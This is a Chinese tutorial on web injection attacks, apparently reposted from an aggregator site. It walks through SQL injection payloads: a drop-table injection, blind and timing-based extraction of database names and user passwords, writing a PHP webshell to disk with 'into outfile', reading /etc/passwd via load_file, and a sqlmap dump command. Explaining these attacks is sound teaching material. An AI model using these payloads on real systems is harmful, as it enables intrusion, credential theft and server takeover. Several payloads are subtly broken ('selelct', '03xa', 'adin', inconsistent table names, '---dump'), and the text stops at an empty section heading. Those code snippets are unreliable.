WEB安全之注入攻击
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB安全之注入攻击相关的知识,希望对你有一定的参考价值。
注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据。
1、SQL注入
一个SQL注入的典型的例子:
var ShipCity; Shipcity = Request.form("ShipCity") var sql = "selelct * from OrdersTable where ShipCity = ‘ " + ShipCity + " ‘ " |
变量ShipCity的值由用户提交,假如用户提交一段有语义的SQL语句,比如:
Beijing;drop table OrdersTable-- |
那么SQL语句在实际执行时如下:
select * from OrdersTable where ShipCity = ‘Beijing‘;drop table OrdersTable-- |
原本正常执行的查询语句,变成了查询之后,再执行一个drop表得操作。
1.1、盲注
盲注就是在服务器没有错误回显时完成的注入攻击。
最常用的盲注验证方式是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否被执行。
比如,一个应用的URL如下:
http://newspaper.com/items.php?id=2 |
执行的SQL语句为:
select title,description,body from items where id = 2 |
如果攻击者构造如下的条件语句:
http://newspaper.com/items.php?id=2 and 1=2 |
实际执行的SQL语句为:
select title,description,body from items where id = 2 and 1 = 2 |
因为1=2永远都是个假命题,所以这条SQL语句的and条件用户无法成立。对于web应用来说,也不会返回结果给用户,攻击者看到的页面结果将为空或者是一个出错的页面
为了进一步确认注入是否存在,攻击者可以继续构造如下请求:
http://newspaper.com/items.php?id=2 and 1=1 |
如果页面页面正常返回了,则说明SQL语句的and成功执行,那么就可以判断id参数是否存在SQL漏洞了。
1.2、Timing Attack
在mysql中有一个BENCHMARK()函数,它是用于测试函数性能的,它有两个参数:
BENCHMARK(count,expr) |
函数执行的结果,是将表达式expr执行count次,比如:
mysql > SELECT BENCHMARK(1000000,ENCODE(‘hello‘,‘goodbye‘)); |
这里将ENCODE(‘hello‘,‘goodbye‘)执行了1000000次。
因此,利用BENCHMARK函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。这个技巧在盲注中被称为Timing Attack。
攻击者接下来要实施的就是利用Timing Attack完成这次攻击,比如构造的攻击参数id值为:
1170 union select if(substring(current,1,1) = char(119),benchmark(5000000,encode(‘msg‘,‘by 5 seconds‘)),null) from (select database() as current) as tbl; |
代码注解:
union:用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行,内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,UNION 结果集中的列名总是等于第一个 SELECT 语句中的列名。同时,每条 SELECT 语句中的列的顺序必须相同。 union all:不消除重复行 select if(expr1,expr2,expr3):如果 expr1 是true,则返回expr2, 否则返回expr3。 select database():查看当前数据库,如果当前用户登录,没有切换到任何数据库下,则返回null。 其他函数: system_user():数据库的系统用户 current_user():当前登录该库用户 last_insert_id():最后插入数据库的ID |
这段payload判断库名的第一个字母是否为char(119),即小写w。如果判断结果为真,则会通过benchmark()函数造成较长延时;如果不为真,则该语句将很快执行。攻击者遍历所有字母,直到将整个数据库名全部验证完成为止。
如果当前数据库用户(current_user)具有写权限,那么攻击者可以将信息写入本地磁盘。如:
1170 union all select table_name,table_type,engin from information_schema.tables where table_schema = ‘mysql‘ order by table_name desc into outfile ‘/path/shema.txt‘ |
此外,通过dump文件的方法,还可以写入一个webshell:
1170 union select "<? system($_REQUEST[‘cmd‘]); ?>",2,3,4 into outfile "/path/c.php" -- |
Timing Attack是盲注的一种高级技巧。不同的数据库中,都有类似于BENCHMARK()的函数,可以被Timing Attack所利用。
Mysql :BENCHMARK(1000000,md5(1)) or sleep(5)
PostgreSQL : PG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Sever : WAITFOR DELAY ‘0:0:5‘
2、数据库攻击技巧
SQL注入是基于数据库的一种攻击。不同的数据库有不同的功能、不同的语法和函数,因此针对不同的数据库,sql注入的技巧也有所不同。
2.1、常见的攻击技巧
下面这段payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:
id=5 union all select 1,2,3 from admin id=5 union all select 1,2,passwd from adin |
进一步,想要猜解出username和password具体的值:
id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 64 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 96 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 100 /*ret true*/ ... |
代码注解:
concat: 用于将多个字符串连接成一个字符串 substring: 字符截取 limit: 用于强制 SELECT 语句返回指定的记录数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目 |
这个过程非常繁琐,sqlmap.py(http://sqlmap.sourceforge.net)是一个非常好的自动化注入工具:
$ python sqlmap.py -u "http://a.com/test.php?id=1" ---dump -T users |
在注入的过程中,常常会用到一些写文件的技巧。比如在mysql中,就可以通过load_file()读取系统文件,并通过into dumpfile写入本地文件。所以限制当前数据库用户读写响应文件或目录的权限也是安全防御的手段之一。
union select 1,2 load_file(‘/etc/passwd‘),1,1; create table potatoes(line blob); union select 1,1,hex(load_file(‘/etc/passwd‘)),1,1 into dumpfile ‘/path/patatoes‘; load data infile ‘/path/patatoes‘ into table potaboes; |
除了使用into dumpfile,还可以使用into outfile,两者的区别是dumpfile适用于二进制文件,而outfile则更适用于文本文件。
2.2、命令
以上是关于WEB安全之注入攻击的主要内容,如果未能解决你的问题,请参考以下文章